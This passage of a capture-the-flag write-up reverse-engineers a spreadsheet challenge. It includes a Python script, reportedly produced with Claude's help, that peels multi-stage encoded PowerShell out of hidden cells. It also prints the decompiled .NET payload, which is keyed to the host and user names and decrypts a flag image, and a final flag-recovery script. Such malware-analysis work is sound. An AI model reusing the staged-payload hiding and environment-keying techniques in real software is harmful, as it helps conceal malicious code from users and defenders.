private static byte Ror8(byte b, int n) { return (byte)((b >> n) | (b << (8 - n))); }
private static byte Rol8(byte b, int n) { return (byte)((b << n) | (b >> (8 - n))); }
public static string LsXxaQ(string input, uint seed) {
_seed = seed;
var sb = new StringBuilder();
unchecked {
foreach (char c in input) {
byte b = Ror8((byte)c, 3);
b ^= (byte)(_seed & 0xFFu);
b = Rol8(b, 5);
sb.Append(b.ToString("X2"));
_seed = _seed * 0x6C078965u + 0x12345678u;
}
}
return sb.ToString();
}
public static string Pia2wRPUo4iX(string input, uint seed) {
unchecked { _seed ^= seed; }
var sb = new StringBuilder();
unchecked {
foreach (char c in input) {
byte b = Rol8((byte)c, 5);
b ^= (byte)(_seed & 0xFFu);
b = Ror8(b, 3);
sb.Append(b.ToString("X2"));
_seed = _seed * 0x6C078965u + 0x12345678u;
}
}
return sb.ToString();
}
public static byte[] HUzqMxVCPuxJ(string base64Ciphertext, string password) {
using (Aes aes = Aes.Create()) {
aes.Key = GQObhG(password);
aes.IV = new byte[16];
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
byte[] cipher = Convert.FromBase64String(base64Ciphertext);
return aes.CreateDecryptor().TransformFinalBlock(cipher, 0, cipher.Length);
}
}
}
and by this time i was confused and do not know what to do, so i asked Claude to further analyze using these information that i got
and Claude manage to decrypt further and got the payload.exe with this fully crafted script
#!/usr/bin/env python3
import sys
import re
import base64
import hashlib
import zipfile
import xml.etree.ElementTree as ET
from pathlib import Path
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def load_cells(xlsm_path):
ns = '{http://schemas.openxmlformats.org/spreadsheetml/2006/main}'
with zipfile.ZipFile(xlsm_path) as z:
ss_root = ET.fromstring(z.read('xl/sharedStrings.xml'))
shared = [
''.join(t.text or '' for t in si.iter(f'{ns}t'))
for si in ss_root.findall(f'{ns}si')
]
sheet2 = ET.fromstring(z.read('xl/worksheets/sheet2.xml'))
cells = {}
for c in sheet2.iter(f'{ns}c'):
ref = c.get('r')
t = c.get('t', 'n')
v = c.find(f'{ns}v')
if v is None:
continue
val = v.text
if t == 's':
val = shared[int(val)]
cells[ref] = val
return cells
def aes_decrypt(b64_ct, password: str) -> bytes:
key = hashlib.sha256(password.encode()).digest()
ct = base64.b64decode(b64_ct)
return unpad(AES.new(key, AES.MODE_CBC, b'\x00' * 16).decrypt(ct), 16)
def decode_ps_fragments(ps_text, array_var):
raw = ps_text.split(f'{array_var} = @(', 1)[1].split(')', 1)[0] + ')'
frags = re.findall(r'"([^"]*)"', raw)
return base64.b64decode(''.join(frags)).decode('utf-16-le')
def main():
xlsm = Path(sys.argv[1]) if len(sys.argv) > 1 else Path('Game.xlsm')
if not xlsm.exists():
sys.exit(f'[!] File not found: {xlsm}')
print(f'[*] Loading cells from {xlsm}')
cells = load_cells(xlsm)
# Stage 1: decode EncodedCommand from XFD1048568-70
print('[*] Decoding Stage 1 (EncodedCommand)')
b64_s1 = re.sub(r'\s+', '', cells['XFD1048568'] + cells['XFD1048569'] + cells['XFD1048570'])
ps1 = base64.b64decode(b64_s1).decode('utf-16-le')
# Stage 2: reassemble fragment array inside Stage 1
print('[*] Decoding Stage 2')
ps2 = decode_ps_fragments(ps1, '$Sd886')
# Stage 3: AES-decrypt XFD1048573 with key from XFD1048572
print('[*] Decoding Stage 3')
key_s3 = cells['XFD1048572'] # "FB11FE0C146FAC"
ps3 = aes_decrypt(cells['XFD1048573'], key_s3).decode('utf-8')
# Stage 4: reassemble fragment array inside Stage 3
print('[*] Decoding Stage 4')
ps4 = decode_ps_fragments(ps3, '$HSl5')
# Stage 4 decrypts XFD1048574 with key = USERNAME = "Fischer"
print('[*] Decoding Stage 5')
ps5_raw = aes_decrypt(cells['XFD1048574'], 'Fischer')
ps5 = ps5_raw.decode('utf-8')
# Stage 5 reassembles one more fragment array
print('[*] Decoding Stage 6')
ps6 = decode_ps_fragments(ps5, '$GWVHdF')
# Stage 6 tells us: concat XFD1048560-63, AES-decrypt with COMPUTERNAME = "WORK-PC"
print('[*] Extracting payload.exe (AES key = SHA256("WORK-PC"))')
b64_payload = (
cells['XFD1048560'] +
cells['XFD1048561'] +
cells['XFD1048562'] +
cells['XFD1048563']
)
payload = aes_decrypt(b64_payload, 'WORK-PC')
out = Path('payload.exe')
out.write_bytes(payload)
print(f'[+] Saved {out} ({len(payload)} bytes)')
magic = payload[:2]
if magic == b'MZ':
print('[+] Valid PE/MZ header confirmed')
else:
print(f'[!] Unexpected magic: {magic.hex()}')
if __name__ == '__main__':
main()
and then i got the payload.exe, and i tried using ghidra on it but couldnt get any, so i use ilspycmd and got this
ilspycmd payload.exe
using System;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Text;
using Microsoft.Win32;
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: AssemblyVersion("0.0.0.0")]
public class nksCTGRr
{
private static readonly byte[] aP2xIVo = new byte[36]
{
155, 67, 171, 155, 105, 111, 24, 211, 221, 55,
172, 234, 225, 96, 16, 133, 21, 200, 143, 43,
232, 226, 75, 98, 34, 19, 128, 215, 122, 185,
124, 75, 182, 252, 202, 118
};
private static readonly byte[] MbHGdJbBp96 = new byte[1946]
{
149, 212, 194, 243, 113, 110, 246, 158, 220, 68,
76, 121, 117, 108, 232, 6, 156, 4, 12, 237,
252, 228, 108, 113, 84, 194, 204, 244, 188, 100,
154, 146, 100, 132, 140, 180, 125, 23, 190, 211,
158, 68, 226, 186, 32, 205, 172, 84, 156, 0,
107, 117, 177, 165, 108, 20, 237, 75, 199, 8,
221, 161, 44, 212, 28, 141, 252, 252, 37, 23,
236, 148, 210, 135, 76, 116, 50, 231, 173, 147,
243, 172, 104, 52, 252, 227, 67, 93, 24, 133,
152, 140, 226, 73, 246, 21, 119, 151, 215, 175,
122, 148, 139, 122, 226, 241, 166, 66, 110, 108,
188, 208, 178, 33, 137, 178, 94, 10, 74, 181,
103, 65, 254, 245, 139, 121, 104, 230, 78, 244,
27, 132, 207, 209, 141, 242, 63, 226, 172, 28,
11, 46, 186, 103, 148, 38, 4, 166, 152, 65,
247, 192, 25, 44, 134, 254, 185, 205, 109, 70,
129, 12, 168, 73, 127, 170, 177, 232, 65, 183,
41, 210, 213, 73, 3, 131, 107, 126, 55, 10,
195, 204, 180, 103, 146, 72, 245, 133, 34, 61,
219, 72, 205, 212, 198, 157, 108, 245, 116, 171,
78, 73, 8, 128, 79, 21, 200, 16, 94, 28,
62, 22, 157, 232, 117, 133, 108, 66, 64, 188,
164, 231, 106, 240, 144, 165, 175, 166, 186, 244,
253, 157, 191, 140, 196, 240, 13, 64, 232, 150,
132, 54, 46, 85, 240, 253, 253, 36, 218, 72,
132, 236, 255, 226, 8, 88, 61, 167, 158, 114,
236, 117, 229, 247, 20, 204, 200, 69, 88, 96,
110, 76, 174, 38, 109, 56, 229, 117, 92, 146,
208, 140, 212, 183, 250, 128, 160, 245, 63, 150,
74, 36, 109, 109, 143, 92, 84, 192, 125, 16,
120, 230, 180, 102, 190, 101, 0, 45, 109, 212,
234, 152, 20, 220, 143, 178, 152, 40, 13, 247,
14, 66, 28, 165, 117, 7, 36, 28, 88, 117,
40, 48, 254, 60, 158, 118, 253, 8, 21, 165,
204, 98, 224, 92, 68, 135, 138, 208, 48, 133,
15, 198, 218, 20, 157, 189, 31, 172, 100, 16,
237, 32, 8, 182, 36, 22, 142, 53, 53, 14,
149, 219, 7, 212, 96, 23, 135, 31, 23, 61,
18, 187, 154, 105, 161, 137, 79, 132, 156, 159,
146, 38, 151, 119, 64, 119, 153, 118, 133, 141,
208, 87, 0, 179, 191, 0, 159, 109, 40, 254,
81, 144, 235, 206, 137, 254, 120, 227, 185, 170,
243, 117, 106, 181, 150, 225, 158, 43, 186, 195,
235, 33, 166, 25, 232, 199, 133, 252, 234, 149,
197, 93, 213, 44, 10, 41, 221, 172, 128, 152,
122, 255, 232, 46, 73, 11, 174, 103, 150, 169,
225, 225, 110, 150, 30, 154, 175, 223, 70, 131,
246, 119, 106, 95, 73, 157, 38, 140, 187, 31,
196, 89, 81, 249, 10, 195, 62, 251, 203, 118,
151, 194, 173, 233, 202, 5, 53, 80, 220, 217,
138, 119, 177, 235, 4, 99, 31, 181, 5, 248,
234, 49, 215, 19, 109, 205, 98, 138, 50, 41,
87, 100, 68, 164, 84, 16, 62, 23, 99, 113,
109, 44, 2, 112, 85, 27, 219, 135, 224, 218,
146, 70, 247, 99, 115, 254, 2, 121, 26, 151,
32, 163, 240, 139, 191, 116, 60, 11, 243, 234,
208, 114, 169, 167, 182, 245, 163, 231, 72, 196,
25, 31, 73, 54, 113, 142, 50, 19, 223, 58,
159, 204, 182, 57, 122, 68, 100, 187, 207, 182,
239, 54, 230, 185, 210, 157, 31, 228, 68, 199,
104, 81, 158, 190, 37, 2, 133, 212, 180, 85,
228, 16, 135, 111, 105, 22, 38, 145, 19, 129,
84, 16, 254, 237, 192, 74, 13, 12, 9, 223,
86, 217, 207, 227, 131, 224, 188, 113, 66, 99,
105, 95, 83, 41, 159, 128, 155, 2, 170, 237,
48, 230, 129, 95, 91, 26, 11, 111, 7, 63,
247, 85, 222, 112, 35, 187, 211, 31, 87, 79,
180, 79, 135, 15, 145, 167, 165, 185, 49, 65,
249, 17, 114, 235, 251, 242, 122, 2, 48, 123,
48, 42, 63, 82, 129, 76, 197, 240, 101, 39,
85, 228, 5, 81, 133, 29, 21, 236, 7, 66,
127, 69, 163, 114, 64, 119, 146, 207, 70, 167,
216, 187, 147, 18, 166, 151, 234, 117, 36, 168,
178, 90, 87, 198, 74, 178, 26, 2, 237, 248,
81, 43, 111, 180, 28, 147, 227, 43, 221, 28,
226, 248, 129, 141, 53, 19, 115, 203, 249, 94,
148, 35, 63, 132, 225, 243, 187, 77, 115, 90,
48, 101, 1, 245, 215, 227, 50, 68, 11, 31,
228, 204, 48, 5, 165, 109, 20, 50, 214, 113,
166, 165, 147, 48, 119, 188, 217, 108, 238, 228,
88, 49, 214, 49, 159, 92, 4, 99, 39, 60,
180, 132, 93, 86, 100, 221, 202, 83, 91, 229,
17, 146, 141, 44, 82, 110, 25, 30, 13, 86,
230, 35, 97, 128, 205, 180, 183, 214, 12, 46,
242, 50, 58, 2, 94, 217, 61, 100, 144, 229,
247, 10, 214, 113, 102, 238, 161, 250, 250, 195,
139, 199, 209, 25, 122, 151, 180, 158, 225, 110,
105, 150, 70, 137, 170, 237, 235, 12, 35, 74,
161, 70, 185, 110, 121, 129, 53, 252, 171, 63,
148, 168, 224, 96, 226, 26, 18, 216, 91, 49,
25, 61, 228, 22, 220, 233, 26, 63, 179, 59,
162, 211, 244, 48, 22, 14, 116, 119, 206, 198,
51, 191, 183, 239, 34, 67, 237, 165, 0, 128,
205, 52, 233, 241, 249, 169, 58, 164, 172, 116,
39, 63, 183, 100, 209, 23, 27, 26, 160, 108,
113, 43, 145, 188, 240, 50, 94, 70, 14, 212,
188, 89, 226, 119, 143, 88, 104, 245, 196, 127,
171, 144, 113, 3, 89, 198, 19, 178, 255, 88,
166, 93, 20, 70, 69, 215, 65, 105, 144, 167,
143, 6, 172, 210, 39, 93, 202, 18, 87, 137,
199, 67, 12, 145, 78, 29, 113, 107, 134, 137,
170, 162, 194, 181, 181, 28, 28, 209, 198, 241,
137, 188, 32, 160, 67, 246, 240, 70, 147, 92,
37, 32, 37, 1, 105, 20, 104, 186, 162, 82,
159, 1, 76, 109, 106, 65, 171, 76, 202, 97,
243, 135, 78, 184, 255, 158, 163, 44, 24, 170,
241, 34, 191, 95, 3, 236, 33, 166, 216, 93,
15, 187, 77, 117, 16, 233, 35, 142, 217, 118,
175, 183, 208, 179, 189, 244, 129, 130, 87, 51,
41, 225, 86, 251, 136, 7, 242, 25, 246, 224,
80, 30, 125, 243, 211, 155, 12, 52, 203, 138,
176, 196, 49, 87, 187, 10, 84, 237, 79, 78,
250, 80, 114, 253, 45, 189, 52, 127, 41, 244,
251, 195, 187, 255, 27, 59, 187, 131, 100, 19,
97, 7, 64, 186, 2, 121, 198, 184, 32, 135,
183, 25, 30, 132, 50, 203, 131, 106, 240, 1,
179, 37, 84, 22, 65, 89, 209, 182, 52, 251,
247, 196, 29, 231, 108, 180, 4, 232, 38, 66,
123, 43, 51, 203, 55, 253, 115, 122, 27, 72,
250, 31, 108, 104, 71, 185, 90, 55, 85, 40,
130, 178, 97, 87, 138, 146, 122, 225, 38, 153,
67, 93, 107, 79, 228, 176, 46, 44, 216, 158,
205, 7, 63, 188, 41, 101, 183, 101, 143, 151,
31, 157, 58, 156, 135, 35, 211, 194, 247, 90,
8, 232, 218, 69, 10, 18, 170, 170, 163, 251,
106, 198, 140, 3, 150, 100, 60, 69, 126, 237,
48, 154, 208, 173, 158, 219, 251, 197, 2, 25,
23, 20, 156, 18, 26, 226, 126, 148, 96, 218,
35, 23, 228, 74, 3, 209, 42, 254, 105, 30,
36, 195, 231, 148, 128, 95, 65, 106, 27, 209,
142, 253, 218, 121, 183, 58, 183, 3, 82, 165,
44, 210, 159, 69, 72, 229, 149, 160, 124, 217,
132, 30, 22, 118, 60, 152, 209, 175, 202, 179,
65, 106, 180, 23, 159, 231, 148, 160, 254, 69,
55, 151, 85, 117, 249, 119, 117, 215, 11, 153,
111, 23, 223, 68, 116, 167, 70, 194, 203, 191,
107, 255, 52, 8, 192, 160, 207, 197, 28, 103,
29, 36, 215, 104, 12, 220, 236, 120, 117, 199,
160, 222, 153, 159, 68, 156, 252, 180, 237, 79,
162, 151, 172, 138, 193, 25, 206, 9, 244, 195,
243, 155, 207, 179, 139, 49, 196, 201, 248, 17,
167, 227, 204, 218, 82, 26, 33, 185, 49, 96,
54, 33, 168, 21, 60, 195, 139, 85, 116, 134,
221, 188, 195, 120, 165, 50, 44, 233, 180, 75,
131, 83, 155, 55, 151, 222, 28, 233, 195, 179,
163, 171, 179, 169, 245, 15, 199, 199, 205, 245,
253, 206, 249, 30, 32, 27, 67, 217, 90, 165,
140, 142, 177, 102, 124, 68, 44, 219, 4, 34,
177, 95, 45, 108, 254, 16, 97, 11, 238, 69,
37, 145, 158, 219, 189, 47, 246, 154, 99, 115,
242, 3, 175, 49, 249, 225, 232, 134, 101, 200,
64, 56, 28, 179, 49, 204, 146, 143, 155, 34,
14, 51, 135, 124, 14, 252, 183, 162, 141, 43,
59, 1, 114, 65, 254, 6, 14, 62, 81, 154,
42, 51, 187, 69, 53, 48, 92, 242, 29, 210,
90, 162, 12, 207, 233, 166, 91, 30, 65, 36,
56, 205, 3, 106, 129, 39, 69, 78, 116, 178,
23, 108, 160, 184, 104, 241, 133, 245, 178, 14,
129, 170, 246, 249, 58, 211, 53, 227, 83, 187,
227, 249, 200, 17, 39, 129, 196, 58, 171, 27,
131, 187, 47, 101, 20, 4, 135, 255, 215, 241,
22, 121, 147, 122, 17, 222, 1, 227, 179, 22,
103, 41, 142, 247, 155, 75, 228, 226, 55, 204,
24, 206, 196, 92, 84, 244, 209, 50, 47, 71,
123, 11, 223, 55, 137, 204, 52, 63, 75, 170,
229, 13, 198, 106, 207, 195, 0, 29, 160, 226,
1, 250, 35, 212, 76, 170, 27, 229, 213, 48,
92, 40, 96, 88, 231, 100, 66, 15, 101, 201,
12, 251, 54, 40, 17, 60, 73, 107, 206, 127,
183, 19, 233, 214, 114, 189, 135, 27, 22, 108,
237, 89, 129, 163, 233, 105, 64, 129, 131, 91,
116, 39, 127, 160, 243, 142, 207, 211, 91, 99,
176, 109, 191, 234, 25, 217, 82, 236, 70, 119,
137, 245, 252, 165, 140, 100, 151, 14, 164, 11,
231, 157, 167, 77, 1, 107, 207, 213, 236, 211,
3, 202, 152, 79, 219, 219, 222, 11, 33, 6,
144, 165, 175, 166, 186, 233, 227, 182, 189, 72,
85, 229, 12, 162, 32, 28, 132, 71, 74, 16,
112, 197, 79, 6, 154, 84, 221, 253, 223, 108,
164, 80, 45, 224, 200, 118, 100, 86, 206, 245,
208, 93, 221, 68, 186, 168, 228, 76, 223, 66,
40, 184, 221, 199, 126, 210, 204, 213, 197, 151,
116, 44, 168, 229, 120, 192, 78, 172, 78, 70,
141, 152, 197, 213, 124, 242, 176, 108, 180, 23,
218, 32, 128, 21, 223, 246, 170, 132, 77, 205,
175, 60, 52, 32, 29, 176, 88, 70, 148, 134,
94, 5, 224, 141, 77, 116, 202, 248, 116, 60,
239, 18, 184, 136, 45, 23, 238, 34, 252, 5,
85, 167, 4, 124, 56, 149, 72, 144, 222, 156,
190, 150, 29, 104, 245, 5, 236, 194, 192, 60,
36, 103, 234, 112, 16, 37, 47, 38, 58, 116,
125, 29, 63, 12, 68, 112, 141, 192, 104, 22,
4, 182, 174, 213, 3, 102, 6, 138, 136, 122,
100, 171, 175, 221, 172, 84, 156, 4, 69, 113,
178, 160, 194, 86, 60, 70
};
private const byte kkFH = 66;
private static readonly string uuTcPVOB = E4JFL(new byte[7] { 1, 0, 1, 112, 114, 112, 116 });
private static string E4JFL(byte[] ab)
{
char[] array = new char[ab.Length];
for (int i = 0; i < ab.Length; i++)
{
array[i] = (char)(ab[i] ^ 0x42u);
}
return new string(array);
}
public static void emcbDe4wAa()
{
string machineName = Environment.MachineName;
string userName = Environment.UserName;
byte[] bytes = Encoding.UTF8.GetBytes(machineName);
byte[] bytes2 = Encoding.UTF8.GetBytes(userName);
if (bytes.Length < 4 || bytes2.Length < 4)
{
return;
}
uint lWC = (uint)(bytes[0] | (bytes[1] << 8) | (bytes[2] << 16) | (bytes[3] << 24));
uint jD = (uint)(bytes2[0] | (bytes2[1] << 8) | (bytes2[2] << 16) | (bytes2[3] << 24));
object value;
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Default))
{
using RegistryKey registryKey2 = registryKey.OpenSubKey(E4JFL(new byte[21]
{
17, 13, 4, 22, 21, 3, 16, 7, 30, 1,
22, 4, 1, 42, 35, 46, 46, 39, 44, 37,
39
}));
if (registryKey2 == null)
{
return;
}
value = registryKey2.GetValue(E4JFL(new byte[9] { 4, 46, 35, 37, 18, 35, 48, 54, 115 }));
}
if (value != null)
{
string text = value.ToString();
string s = machineName + ":" + userName + ":" + uuTcPVOB + ":" + text;
byte[] xRFJ = REcPQ3X(Encoding.UTF8.GetBytes(s), lWC, jD);
if (xSVe3t0nj(xRFJ, aP2xIVo))
{
byte[] array = REcPQ3X(Encoding.UTF8.GetBytes(text), lWC, jD);
uint c = (uint)(array[0] | (array[1] << 8) | (array[2] << 16) | (array[3] << 24));
byte[] array2 = (byte[])MbHGdJbBp96.Clone();
fsGiWrV(array2, c);
string path = Path.Combine(Path.GetTempPath(), E4JFL(new byte[8] { 36, 46, 35, 37, 108, 50, 44, 37 }));
File.WriteAllBytes(path, array2);
}
}
}
private static byte[] REcPQ3X(byte[] ab, uint lWC, uint JD)
{
int num = (ab.Length + 3) & -4;
byte[] array = new byte[num];
for (int i = 0; i < num; i += 4)
{
uint num2 = 0u;
for (int j = 0; j < 4; j++)
{
num2 |= (uint)(((i + j < ab.Length) ? ab[i + j] : 0) << j * 8);
}
num2 ^= JD;
num2 = (num2 + lWC) & 0xFFFFFFFFu;
num2 = (num2 << 11) | (num2 >> 21);
JD = num2;
array[i] = (byte)num2;
array[i + 1] = (byte)(num2 >> 8);
array[i + 2] = (byte)(num2 >> 16);
array[i + 3] = (byte)(num2 >> 24);
}
return array;
}
private static void fsGiWrV(byte[] _q, uint c586)
{
uint num = c586;
for (int i = 0; i < _q.Length; i++)
{
_q[i] ^= (byte)(num & 0xFF);
num = num * 1812433253 + 305419896;
}
}
private static bool xSVe3t0nj(byte[] XRFJ, byte[] ab)
{
if (XRFJ.Length != ab.Length)
{
return false;
}
for (int i = 0; i < XRFJ.Length; i++)
{
if (XRFJ[i] != ab[i])
{
return false;
}
}
return true;
}
}
with more clear c# code now i can know what’s happening, so apparently there are 2 flags which represented by the 2 long blobs,
value = registryKey2.GetValue(E4JFL(new byte[9] { 4,46,35,37,18,35,48,54,115 }));
this decode to FlagPart1
string path = Path.Combine(Path.GetTempPath(), E4JFL(new byte[8] { 36, 46, 35, 37, 108, 50, 44, 37 }));
this decode to flag.png, from this analysis i got the bigger picture of the final flag, and got the
final flag retrieval script
import struct
import dnfile
def E4JFL(data):
return ''.join(chr(b ^ 0x42) for b in data)
def REcPQ3X(data, lWC, jD):
n = (len(data) + 3) & ~3
out = bytearray(n)
for i in range(0, n, 4):
block = int.from_bytes(data[i:i+4].ljust(4, b'\x00'), 'little')
block = (((block ^ jD) + lWC) & 0xFFFFFFFF)
block = ((block << 11) | (block >> 21)) & 0xFFFFFFFF
jD = block
out[i:i+4] = block.to_bytes(4, 'little')
return bytes(out)
def fsGiWrV(data, seed):
out = bytearray(data)
for i in range(len(out)):
out[i] ^= seed & 0xFF
seed = (seed * 1812433253 + 305419896) & 0xFFFFFFFF
return bytes(out)
# Pull encrypted PNG directly from PE
pe = dnfile.dnPE('payload.exe')
pe.parse_data_directories()
ofs = pe.get_offset_from_rva(0x4058)
blob = bytes(pe.__data__[ofs:ofs+1946])
# Decode strings
constant = E4JFL([1,0,1,112,114,112,116])
print("Constant:", constant)
# Known values
target = bytes([
155,67,171,155,105,111,24,211,221,55,
172,234,225,96,16,133,21,200,143,43,
232,226,75,98,34,19,128,215,122,185,
124,75,182,252,202,118
])
prefix = f"WORK-PC:Fischer:{constant}:".encode()
lWC = struct.unpack('<I', b"WORK")[0]
jD = struct.unpack('<I', b"Fisc")[0]
# Forward simulate prefix blocks
prefix_padded = prefix + b'\x00' * ((-len(prefix)) % 4)
for i in range(0, len(prefix_padded), 4):
block = struct.unpack('<I', prefix_padded[i:i+4])[0]
block = (((block ^ jD) + lWC) & 0xFFFFFFFF)
block = ((block << 11) | (block >> 21)) & 0xFFFFFFFF
jD = block
# Invert remaining blocks to get FlagPart1
prefix_blocks = len(prefix_padded) // 4
recovered = b""
for i in range(prefix_blocks, len(target) // 4):
out_block = struct.unpack('<I', target[i*4:(i+1)*4])[0]
b = ((out_block >> 11) | (out_block << 21)) & 0xFFFFFFFF
pt = ((b - lWC) & 0xFFFFFFFF) ^ jD
recovered += struct.pack('<I', pt)
jD = out_block
text = recovered.rstrip(b'\x00').decode()
print("FlagPart1:", text)
# Decrypt PNG
lWC = struct.unpack('<I', b"WORK")[0]
jD = struct.unpack('<I', b"Fisc")[0]
array = REcPQ3X(text.encode(), lWC, jD)
c = struct.unpack('<I', array[:4])[0]
decrypted = fsGiWrV(blob, c)
open('flag.png', 'wb').write(decrypted)
print("Saved flag.png —", "PNG OK" if decrypted[:4] == b'\x89PNG' else "check output")

Hope you enjoy this writeup, forgive me if there are any writing errors or unclear contexts